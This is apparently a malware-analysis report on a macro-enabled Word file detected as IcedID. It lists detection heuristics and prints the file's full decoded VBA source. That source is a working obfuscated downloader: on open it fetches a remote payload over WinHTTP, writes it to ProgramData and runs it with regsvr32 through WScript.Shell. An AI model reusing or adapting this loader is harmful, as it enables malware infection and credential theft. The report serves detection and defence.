MALICIOUS
290
Risk Score
Heuristics 7
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Set gUwvT = CreateObject(zZRXE + "." + "shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shQoZ = VBA.CreateObject(LmSbJ + "" + pKDJP) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 13112 bytes |
SHA-256: 9356d891f7a8db1c960c926cb495b05fb7e8f02bb75ce8c44907bbad0c3ed86f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "cBrgv"
Sub rblrj(lLANb, Optional ByVal GyFJA As String = "c:\programdata\rSMJC.txt", Optional ByVal pKDJP As String = "systemobject")
' Warmly pessimism
' Walkietalkie
' Admitted restoring unlaced aware
' Embryo
' Procurements arming disillusioning
' Booklet library
' Marginality intertwined
' Jabbering outrage homely unifier
' Rubbed saplings extensionally acknowledged
' Visas irretrievable idealist
' Marigolds barley
' Ladybirds triad tentacled
' Wails electrolysed
' Oxalic nuggets subtending habitation
' Yesteryear whims forego lurex
' Substrates rankings
' Oats furthers inclined eaten attaining
' Pouffes statics
' Liturgical lend boozer fugitive loan
' Trusty pickups
' Carsick device sailed leeches
' Gullet skirmishing matron loci
' Experimenters prostitute
Set shQoZ = VBA.CreateObject(LmSbJ + "" + pKDJP)
' Indaba prickly thongs analysable
' Spanks sandalwood storming truthful violence
' Thigh pamphleteer imply
' Jeremiah batter dirtying configuring
' Whirligig precludes
Set FTkmh = shQoZ.CreateTextFile(GyFJA)
' Hatcheries amino lactate
' Reprogram stultifying defused swish sickest
' Inspections breakups prodded biking
' Secondclass readapt jellied
' Flair unapologetic caretaker lauds
' Motivator digestive inebriate intern uninteresting
FTkmh.WriteLine lLANb
' Mistreating contingently adelaide vetting stockist
' Alumnus strum buzzwords
' Slumped elbow
' Denounce phonological creditors paradoxically naughtily swiftly
' Okay soreness simmered
FTkmh.Close
' Fanciable adagio
' Relapsing sightseeing destroyed
' Phrenologists pyrolyse stargaze hankered
' Bushing unresolved grasslands gentle
' Isometric hobby san
' Jeopardises negates conjugate palpitations
' Exemptions hinnies schwas
' Decimating totems greatly unobservable biological
' Grueling invasions
' Invert pedagogically
' Ere improbably purveyance electrifying scientists
' Conquer vividly sawyers ousts fleeing shelf
' Invitations segregate
' Predetermined sturdy incalculably
' Dazzler farewells jovially divided housebuilder rowdier
' Autopsies jock softie spoilt
' Lowish fleeting
' Branches resume
' Observables overstrung inaudibly turnings clocked
' Tendencies longer
' Zeus rosily scuds resubmitting stores
' Unborn expropriated poetic spacey tasted
' Swum absentee demotion dependants gorgeously
' Yes easels baseness executor
' Redfaced bottling chatted
' Criminalisation coefficient crumpets hangup fleeted
' Disrespect bigger learnedly eventide postcard proposes
' Exhales abdomens versed palisades
' Holdall miscellanea
' Enforcers marshy vendors annunciation
' Progenitors inelegantly subordinate molehills
' Deterred whores diplomatic hypothalamus edibility puppets cockroaches
' Kernel
' Gastropod overhears persecution
' Unimpeded
' Pulchritude pawed mankind huffed
' Virgins consumerism
' Rediscovering consumer undismayed keeping overworked masterworks reimpose
' Conflicting retroviruses scarring
End Sub
' Departmentally uncharacteristic tepid genocidal pansies
' Bereaved
' Remittances
' Externals effluent
Sub AutoOpen()
' Swilled elusive overlies
' Willynilly
' Fretful cryptanalytic burning reaches carousing
' Shamming manifold seashores
' Costeffectiveness judgments billionth mannerisms drawer
' Fullmoon demure trainings sharp librarianship libyan
' Partakers
' Unzip contractible gate heralding
' Abstaining be midst zoned policyholders
' Hesitant insensitively swearing compasses
' Inordinately exchangeable awls sauce
' Nationality secularised championships malignantly
' Regrow manner
' Drippy kerning
' Languishes digestible elbowed vacation
' Wifely
' Briefest insult prosaically heptagonal ejected binder
' Injustices beatification boiler grandfathers
' Anchovies
' Uncharged
' Busiest sardine vials totalising fervour outflanked whacker
' Permits professionally distances
' Inquisitively busting
' Heaps beliefs
' Twiddle truly tan lingeringly
' Patrols solemnities flourishes pullovers overshot promotions charismatics zipper
' Granularity
Dim jpGFB As New XKcmz
' Beadiest tendering spotlighting womenfolk
' Sextets gaseous sees
' Angelica vitrified left paraboloids
' Venose inquiries attractively reconnect humanist
' Curfew muff
nNaur = ""
' Immortalised hothouse fared circumstantial insisting broadened studiers
' Commands larch rankest radioactive
' Underline gladiator displaying
' Equitable
' Worthiness linefeed
' Kindliness numbly gosling
' Moat symphonies heirs aladdin alike
' Minimises gallows american
' Descent sombrely
' Deregulate unfathomed discomfited
' Sellers sponging
' Unpick probate trounced
' Subverted
lLANb = jpGFB.LeOal(LuGdo)
' Mediating resuscitated dreamer
' Damsons controllers jumpiness persuasively unshorn
' Discussions greece
' Boggy cations
rblrj RAcFP(lLANb)
' Speckles drowned
' Chaplains inveighing
' Idolaters
' Policed monitor
' Frowned packets inarticulate sating groundwork reprinting
' Obesity measurable policewoman ringlet
' Beginnings intermarriages gymnast
' Suitable spiritual retted incongruously
' Peregrine gateway ridicules total
MGAFQ GlJiG(0) + "vr32 c:\programdata\rSMJC.txt", "wscript"
End Sub
Function LUvaB(OjSIR, iUwqi)
' Soothsaying county bushmen poikilothermic
' Dogooders
' Stranglers
' Randomly
' Murderers redirection firebombing ratifying showjumpers
LUvaB = Split(OjSIR, iUwqi)
End Function
Attribute VB_Name = "NQsvf"
' Content neuronal
' Intrudes goslow
' Antedate impermanence unluckier
' Title ruralist
' Yetis courtly
' Imagining
Function RAcFP(zQtSI)
' Cabaret quiescence unfailingly
' Repaying singsong gown unabashedly
' Kindlier
' Rainfall wagtail enunciate reification
RAcFP = StrConv(zQtSI, vbUnicode)
' Cinematic contract
' Cardiovascular punchbowl busily disobedience bandpass
' Quizzically listing parallaxes quit unprovable trusteeship
' Blab bailiff pluses italicise
' Studious bibliographies disobeyed waterbed
' Storing roo resonating
End Function
' Infamously blackbirds doubting
' Lend detector illimitable
' Gnaw muscle prostituting flowerpots
' Unfilled relocates toughs lubricants shopfront grandfathers
' Copper lethally
' Outputting
' Acceding curved
Function RNMur()
' Sniggers
' Shanks demounted whipper sketchbook
' Shah centralist
' Unseeingly mats
' Indecency least dressy
' Scatter toledo tombstones weirs split invested
' Communicators
' Nationalities psychotics
' Hardhitting fussily infantile
' Retrieving spreadsheets rotated
' Corroborative
With ActiveDocument.shapes(1)
RNMur = .AlternativeText
End With
End Function
' Pig animist discusses
' Parentinlaw
' Thebes dishonourable fade parsed meridians
' Electromagnetically carbine mumbojumbo hazarded
' Injunctions tormentor
' Epigon lubbers magnification conviviality buts
' Slogs capably prunes
' Intimacies parleying recapitulate perhaps neighbouring
Function GlJiG(UVoOk)
' Creditors mindboggling overgeneralised availability
' Resumed purchasable
' Luckily underpay
' Ecliptic chars
' Earner
' Shunned transformers bolting process
' Kin
' Preparative nucleic
' Elliptic lizard exaggerating illustrate
' Airplane beatified adiabatically
' Shoreward example
' Charismatics
tipJy = LUvaB(RNMur(), "~~~")
fFdZw = tipJy(UVoOk)
GlJiG = fFdZw
End Function
Attribute VB_Name = "XKcmz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JYgep(aAiED, VxyTJ, Erouw)
' Anecdotes
' Headaches gargoyles oilier steamrollers abbess counterbalance
' Adhesiveness isometric obtaining bastion singes universality disaffiliation
' Checks hayloft abandoned
' Rebuilds
JYgep = Mid(aAiED, VxyTJ, Erouw)
End Function
Public Function bTBMI(SmeYZ, TarwR)
' Circle trainers editorially demeanour
' Belligerently
' Daycare offender
' Despaired scared ruffled monolithic quicksand zoomed
' Sandpiper subpoenaed
' Patination creaming torturers wristband pity revert
' Ermine circuit beadwork circuitry
' Sinistral corrode fridge
' Entrances conjurors
' Explosive koala governments collaborationist
' Defecating bewitching glisten
' Snorers perks concatenating courtesans solstice goethe festoon
' Cheapness chisels repulsed
' Hanggliders circling fondest
' Viewpoints response fineness
oUdLF = Trim(SmeYZ)
For VUQwV = TarwR To Len(oUdLF)
MDdpT = JYgep(oUdLF, VUQwV, TarwR) & MDdpT
Next VUQwV
bTBMI = MDdpT
End Function
' Ominously
' Greediness bookwork dispersing sting downsized
' Snowdrift amigo
' Jetted rotundity entangled
' Stratosphere flay unresisting antisocial
Function LeOal(lcISL)
' Cheekier backpedalling eccentrics spa
' Workmen siamese bluebird fluvial
' Wheedle
' Cloudier pained
' Somnolent blip tumultuous havoc
Dim VsyHu As Object
' Returnable aerator sagged lies
' Resistively orpheus
' Perseveringly
' Improbability
' Mean hurrah misting
' Piously hackney harrying
' Thromboses premiss terraced delinquent buyer
' Oxcart succeeds
' Dewy licences foreseeable palpitation earache
Set VsyHu = CreateObject(bTBMI(lcISL, 1) + "." + bTBMI(lcISL, 1) + "Request.5.1")
' Auntie
' Chewable foes redoing canopies
' Wallaby
' Peptic cocain
' Unsighted decaf unwavering
' Titans ulcerate
' Masques bargain costumes beltings scenic
' Invariably spinoffs zealous channelled pickers commercials birthrate charismas
' Lacuna devolve
' Meditating knowledgeably underworld prevailed formulas confide
' Unsealing molarities flogged energising macrocosm
' Lilywhite spurted inextensible lawns
' Warners hatted
' Furs trespasser recipient requite
' Protagonists grouse mincer deluxe boobytrapped limiters harbour
' Resettle dumbstruck rapped happygolucky
' Obliging initiated dispensation
' Polymorphous mixups carers quantification
' Clients
' Silicone faults
' Rallying flimsiness
' Trickled tapestry fruitfully
eYuXT = GlJiG(1)
' Slogans matriarch accordance polled
' Quenchers passionately
' Validate
' Trainings
' Dachshund paralleled
VsyHu.Open "GET", bTBMI(eYuXT, 1), False
' Discourages communicates
' Serum reconstructions serene cottoned condiments antagonism
' Plumber warped nerds conformity
' Debar gouda garbles wheezes targeting
' Coronal
' Defier inclemency defensive faecal defray
VsyHu.Send
' Wardship countenanced rambler staterooms unguided reordering
' Monarch
' Third postponements
' Geniality marsh
LeOal = VsyHu.responsebody
End Function
Attribute VB_Name = "nHXSE"
Public Const LuGdo As String = "ptthniw"
Public Const LmSbJ As String = "scripting.file"
Sub MGAFQ(pfZoY, zZRXE)
' Reformulation
' Den
' Intellectualism
' Galloped mums flounders
' Megahertz gestapo aerofoil hurt painfulness illmannered
Set gUwvT = CreateObject(zZRXE + "." + "shell")
' Nooks lettish federalists
' Passion particulars
' Consent expel omnipresence remounted smiler patronisingly
' Realistic waterbed saltiness freshers purses dozes
' Seedling rotting craziness eclectic
' Barleycorns latency exceeds yummy buccaneers grizzled
' Beekeepers promenader depots
' Pinkie heavyweights goers chefs unworkability
' Ponderously satiny quenchers directors disharmony injuriously
' Inmates postpone
' Achy programmer uterus contemplation chants
' Yodeller
' Reasoners merry
' Miller prancer blocks
' Concubine householder helicopters
' Patchy thursday dispersers
' Strivings poplars
' Archivist vexation recidivist cavalier
' Bins scorned popper blocky
' Poult nakedly stereotyping crotchety incidentally ministerially
' Woodcuts impacting coxcombs perseverance declared thankfully categorise
' Galling tilings uploads societies injuring
' Fill meatless
' Bottle ruins rep consequential moderation
' Quip
' Pantry resonator
' Reprinting agrochemical sluices fiddlings
' Auctioneers gal voodoo crowd
' Relevance pips earned
' Jovially
' Storm unconstitutional washed
' Shark payee unwashed woad deftly
' Fragile disfigures london intolerant
' Trickily
' Geiger booths unshaven sentinels
' Frittered
' Garrets insupportable serpentine
' Make dwindled implore court bowing
' Crueller dross superimpose besieging
' Spiced marmot
' Uninvolved tunnelled wean
' Flowerpot uninvolved cosiest lawyer
' Harmfulness cremations
' Shelving turnpike camouflage fabulous
Call gUwvT.exec(pfZoY)
' Disagree pungency penetration
' Happiness fullscale
' Shaving unrepentantly shoguns resulted trundle vaporised
' Culprit supposing pleura
' Pounded incurably unblinking tortures
' Lords sandcastles
' Sedately lineages devoting bashes shotguns
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 48128 bytes |
SHA-256: 37099686f64260a1e3a180f37230929d123d9447dbad9267c1d62b09081f1f80 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.